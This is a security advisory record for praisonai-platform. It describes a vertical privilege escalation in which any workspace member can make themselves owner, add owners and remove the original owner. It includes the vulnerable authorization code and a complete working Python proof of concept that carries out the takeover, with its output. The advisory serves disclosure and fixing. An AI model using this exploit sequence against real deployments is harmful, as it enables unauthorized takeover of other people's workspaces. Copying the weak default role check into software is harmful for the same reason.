{"id":"PYSEC-2026-2936","summary":"PraisonAI Platform: Missing role checks let any workspace member become owner and control workspace membership","details":"### Summary\n\nPraisonAI Platform has a broken workspace authorization check that allows any authenticated low-privilege workspace member to escalate their own role to `owner`.\n\nThe issue is caused by privileged workspace-management routes using the shared dependency `require_workspace_member(...)` without requiring `admin` or `owner`. The dependency defaults to `min_role=\"member\"`, so routes that should be administrative are accessible to ordinary workspace members.\n\nAs a result, a normal workspace member can:\n\n- promote their own account from `member` to `owner`;\n- add arbitrary users as `owner` or `admin`;\n- change other members' roles;\n- remove legitimate owners or members;\n- take over workspace membership completely;\n- perform destructive workspace operations after escalation.\n\nThis is a broken access control / vertical privilege escalation vulnerability.\n\n### Details\n\nThe vulnerable authorization dependency is defined in:\n\n```text\npraisonai_platform/api/deps.py\n````\n\nThe dependency defaults to the lowest workspace role:\n\n```python\nasync def require_workspace_member(\n    workspace_id: str,\n    user: AuthIdentity = Depends(get_current_user),\n    session: AsyncSession = Depends(get_db),\n    min_role: str = \"member\",\n) -\u003e AuthIdentity:\n    ...\n    has = await member_svc.has_role(workspace_id, user.id, min_role)\n```\n\nBecause `min_role` defaults to `\"member\"`, any route using:\n\n```python\nDepends(require_workspace_member)\n```\n\nwithout explicitly passing a stronger role only requires ordinary workspace membership.\n\nPrivileged workspace-management routes in:\n\n```text\npraisonai_platform/api/routes/workspaces.py\n```\n\nuse this dependency unchanged on administrative actions, including:\n\n```text\nPATCH  /workspaces/{workspace_id}\nDELETE /workspaces/{workspace_id}\nPOST   /workspaces/{workspace_id}/members\nPATCH  /workspaces/{workspace_id}/members/{user_id}\nDELETE /workspaces/{workspace_id}/members/{user_id}\n```\n\nThese routes allow workspace modification, deletion, member addition, role changes, and member removal. They should require `admin` or `owner`, but they currently require only `member`.\n\nThe membership service does not provide a second authorization layer. In:\n\n```text\npraisonai_platform/services/member_service.py\n```\n\nthe mutation methods perform the requested change after the route-level check passes:\n\n```python\nasync def add(...):\n    member = Member(workspace_id=workspace_id, user_id=user_id, role=role)\n\nasync def update_role(...):\n    member = await self.get(workspace_id, user_id)\n    member.role = new_role\n\nasync def remove(...):\n    member = await self.get(workspace_id, user_id)\n    await self._session.delete(member)\n```\n\nTherefore, the weak route dependency is the effective authorization boundary.\n\nA low-privilege user can also learn their own `user.id` from the normal authentication response. The login/register response includes the authenticated user object:\n\n```text\nTokenResponse.token\nTokenResponse.user.id\n```\n\nThis allows an invited low-privilege member to target their own membership record and self-promote.\n\n### Affected component\n\n```text\nPackage: praisonai-platform\nVerified version: 0.1.2\nVerified source commit: d8a8a78\nAffected components:\n- praisonai_platform/api/deps.py\n- praisonai_platform/api/routes/workspaces.py\n- praisonai_platform/services/member_service.py\n- praisonai_platform/api/routes/auth.py\n- praisonai_platform/api/schemas.py\n```\n\n### PoC\n\nThe following PoC is self-contained and exercises the real PraisonAI Platform FastAPI application path. It does not mock the vulnerable RBAC logic.\n\nThe PoC:\n\n1. Creates the real FastAPI app with `praisonai_platform.api.app.create_app()`.\n2. Registers three users through the real `/api/v1/auth/register` route.\n3. Creates a workspace as the original owner.\n4. Adds the second user as a normal `member`.\n5. Logs in as that low-privilege member.\n6. Uses the low-privilege member token to self-promote to `owner`.\n7. Uses the same token to add a third account as `owner`.\n8. Uses the same token to remove the original owner.\n9. Confirms the workspace membership has been taken over.\n\n#### Full PoC code\n\n```python\n#!/usr/bin/env python3\n\"\"\"Self-contained local replay for PraisonAI Platform workspace RBAC bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport os\nimport sys\nimport types\nimport uuid\nfrom pathlib import Path\n\nfrom httpx import ASGITransport, AsyncClient\nfrom sqlalchemy.ext.asyncio import create_async_engine\n\n\nREPO_ROOT = Path(__file__).resolve().parents[3] / \"repos\" / \"praisonai\"\nPLATFORM_ROOT = REPO_ROOT / \"src\" / \"praisonai-platform\"\nAGENTS_ROOT = REPO_ROOT / \"src\" / \"praisonai-agents\"\n\n\ndef verify_source() -\u003e None:\n    expected = {\n        PLATFORM_ROOT / \"praisonai_platform/api/deps.py\": [\n            'min_role: str = \"member\"',\n            \"member_svc.has_role(workspace_id, user.id, min_role)\",\n        ],\n        PLATFORM_ROOT / \"praisonai_platform/api/routes/workspaces.py\": [\n            '@router.patch(\"/{workspace_id}\", response_model=WorkspaceResponse)',\n            '@router.delete(\"/{workspace_id}\", status_code=status.HTTP_204_NO_CONTENT)',\n            '@router.post(\"/{workspace_id}/members\", response_model=MemberResponse, status_code=status.HTTP_201_CREATED)',\n            '@router.patch(\"/{workspace_id}/members/{user_id}\", response_model=MemberResponse)',\n        ],\n        PLATFORM_ROOT / \"praisonai_platform/services/member_service.py\": [\n            \"member.role = new_role\",\n            \"await self._session.delete(member)\",\n        ],\n    }\n\n    for path, needles in expected.items():\n        text = path.read_text(encoding=\"utf-8\")\n        for needle in needles:\n            if needle not in text:\n                raise RuntimeError(f\"source verification failed: {needle!r} not found in {path}\")\n\n\nasync def main() -\u003e int:\n    if not PLATFORM_ROOT.exists() or not AGENTS_ROOT.exists():\n        raise SystemExit(\"missing local PraisonAI source tree\")\n\n    verify_source()\n\n    sys.path.insert(0, str(PLATFORM_ROOT))\n    sys.path.insert(0, str(AGENTS_ROOT))\n\n    # Minimal passlib stub for local replay environments where passlib is not installed.\n    # This keeps the PoC focused on the authorization bug rather than dependency setup.\n    if \"passlib\" not in sys.modules:\n        passlib_pkg = types.ModuleType(\"passlib\")\n        passlib_pkg.__path__ = []\n        sys.modules[\"passlib\"] = passlib_pkg\n\n    if \"passlib.context\" not in sys.modules:\n        passlib_context = types.ModuleType(\"passlib.context\")\n\n        class _CryptContext:\n            def __init__(self, *args, **kwargs):\n                pass\n\n            def hash(self, password: str) -\u003e str:\n                return f\"stub::{password}\"\n\n            def verify(self, password: str, hashed: str) -\u003e bool:\n                return hashed == f\"stub::{password}\"\n\n        passlib_context.CryptContext = _CryptContext\n        sys.modules[\"passlib.context\"] = passlib_context\n\n    # Keep JWT generation deterministic for the local replay.\n    os.environ[\"PLATFORM_JWT_SECRET\"] = \"test-secret-for-testing-only\"\n\n    from praisonai_platform.api.app import create_app\n    from praisonai_platform.db.base import Base, reset_engine\n    from praisonai_platform.db import base as base_mod\n\n    await reset_engine()\n\n    engine = create_async_engine(\n        \"sqlite+aiosqlite:///:memory:\",\n        echo=False,\n        connect_args={\"check_same_thread\": False},\n    )\n\n    base_mod._engine = engine\n    base_mod._session_factory = None\n\n    async with engine.begin() as conn:\n        await conn.run_sync(Base.metadata.create_all)\n\n    app = create_app()\n    suffix = uuid.uuid4().hex[:8]\n    password = \"Password123!\"\n\n    transport = ASGITransport(app=app)\n\n    async with AsyncClient(transport=transport, base_url=\"http://test\") as client:\n        # 1. Register an owner account.\n        owner = await client.post(\n            \"/api/v1/auth/register\",\n            json={\n                \"email\": f\"owner_{suffix}@example.com\",\n                \"password\": password,\n                \"name\": f\"owner_{suffix}\",\n            },\n        )\n\n        # 2. Register a low-privilege member account.\n        member = await client.post(\n            \"/api/v1/auth/register\",\n            json={\n                \"email\": f\"member_{suffix}@example.com\",\n                \"password\": password,\n                \"name\": f\"member_{suffix}\",\n            },\n        )\n\n        # 3. Register a third attacker-controlled account.\n        extra = await client.post(\n            \"/api/v1/auth/register\",\n            json={\n                \"email\": f\"extra_{suffix}@example.com\",\n                \"password\": password,\n                \"name\": f\"extra_{suffix}\",\n            },\n        )\n\n        owner_json = owner.json()\n        member_json = member.json()\n        extra_json = extra.json()\n\n        owner_headers = {\"Authorization\": f\"Bearer {owner_json['token']}\"}\n        member_headers = {\"Authorization\": f\"Bearer {member_json['token']}\"}\n\n        # 4. Create a workspace as the owner.\n        workspace = await client.post(\n            \"/api/v1/workspaces/\",\n            json={\n                \"name\": f\"ws-{suffix}\",\n                \"slug\": f\"ws-{suffix}\",\n                \"description\": \"rbac bypass poc\",\n            },\n            headers=owner_headers,\n        )\n\n        workspace_id = workspace.json()[\"id\"]\n\n        # 5. Owner adds the second user as a normal low-privilege member.\n        added_member = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            json={\n                \"user_id\": member_json[\"user\"][\"id\"],\n                \"role\": \"member\",\n            },\n            headers=owner_headers,\n        )\n\n        # 6. Low-privilege member self-promotes to owner.\n        promoted = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/members/{member_json['user']['id']}\",\n            json={\n                \"role\": \"owner\",\n            },\n            headers=member_headers,\n        )\n\n        # 7. The same formerly-low-privilege member adds a third account as owner.\n        added_owner = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            json={\n                \"user_id\": extra_json[\"user\"][\"id\"],\n                \"role\": \"owner\",\n            },\n            headers=member_headers,\n        )\n\n        # 8. The same account removes the original owner.\n        removed_original_owner = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/members/{owner_json['user']['id']}\",\n            headers=member_headers,\n        )\n\n        # 9. Confirm remaining membership state.\n        remaining_members = await client.get(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            headers=member_headers,\n        )\n\n        remaining_roles = [m[\"role\"] for m in remaining_members.json()]\n\n        print(f\"[poc] owner_status={owner.status_code}\")\n        print(f\"[poc] member_status={member.status_code}\")\n        print(f\"[poc] extra_status={extra.status_code}\")\n        print(f\"[poc] workspace_status={workspace.status_code}\")\n        print(f\"[poc] add_status={added_member.status_code} role={added_member.json()['role']}\")\n        print(f\"[poc] promote_status={promoted.status_code} role={promoted.json()['role']}\")\n        print(f\"[poc] add_owner_status={added_owner.status_code} role={added_owner.json()['role']}\")\n        print(f\"[poc] remove_original_owner_status={removed_original_owner.status_code}\")\n        print(f\"[poc] remaining_roles={remaining_roles}\")\n\n        if promoted.status_code != 200 or promoted.json()[\"role\"] != \"owner\":\n            raise SystemExit(\"[poc] MISS: low-privilege member did not become owner\")\n\n        if added_owner.status_code != 201 or added_owner.json()[\"role\"] != \"owner\":\n            raise SystemExit(\"[poc] MISS: promoted attacker could not add a new owner\")\n\n        if removed_original_owner.status_code != 204:\n            raise SystemExit(\"[poc] MISS: promoted attacker could not remove the original owner\")\n\n        if remaining_roles.count(\"owner\") \u003c 2:\n            raise SystemExit(\"[poc] MISS: expected attacker-controlled owners after takeover\")\n\n        print(\"[poc] HIT: low-privilege member became owner and took over workspace membership\")\n\n    await engine.dispose()\n    base_mod._engine = None\n    base_mod._session_factory = None\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(asyncio.run(main()))\n```\n\n#### Observed output\n\n```text\n[poc] owner_status=201\n[poc] member_status=201\n[poc] extra_status=201\n[poc] workspace_status=201\n[poc] add_status=201 role=member\n[poc] promote_status=200 role=owner\n[poc] add_owner_status=201 role=owner\n[poc] remove_original_owner_status=204\n[poc] remaining_roles=['owner', 'owner']\n[poc] HIT: low-privilege member became owner and took over workspace membership\n```\n\n#### Expected secure behavior\n\nThe following request should be rejected when made by a plain `member`:\n\n```http\nPATCH /api/v1/workspaces/{workspace_id}/members/{member_user_id}\nAuthorization: Bearer \u003cmember_token\u003e\nContent-Type: application/json\n\n{\n  \"role\": \"owner\"\n}\n```\n\nExpected response:\n\n```text\n403 Forbidden\n```\n\n#### Actual vulnerable behavior\n\nThe request succeeds:\n\n```text\nHTTP 200\nrole = owner\n```\n\nThe same account can then add attacker-controlled owners and remove the original owner.\n\n### Impact\n\nA low-privilege workspace member can fully take over a workspace.\n\nImpact includes:\n\n* self-promoting from `member` to `owner` or `admin`;\n* granting `owner` or `admin` to attacker-controlled accounts;\n* changing other members' roles;\n* removing legitimate owners or members;\n* modifying workspace metadata and settings;\n* deleting the workspace;\n* taking over workspace-scoped issues, projects, labels, agents, and other resources after role escalation.\n\nThe attacker only needs an authenticated low-privilege membership in the target workspace. No race condition, special deployment, or administrator action is required.","aliases":["CVE-2026-47405","GHSA-h37g-4h4p-9x97"],"modified":"2026-07-13T16:33:01.077734369Z","published":"2026-07-13T15:35:22.317238Z","references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-h37g-4h4p-9x97"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"},{"type":"PACKAGE","url":"https://pypi.org/project/praisonai-platform"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-h37g-4h4p-9x97"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47405"}],"affected":[{"package":{"name":"praisonai-platform","ecosystem":"PyPI","purl":"pkg:pypi/praisonai-platform"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.4"}]}],"versions":["0.1.0","0.1.1","0.1.2","0.1.3"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/praisonai-platform/PYSEC-2026-2936.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}]}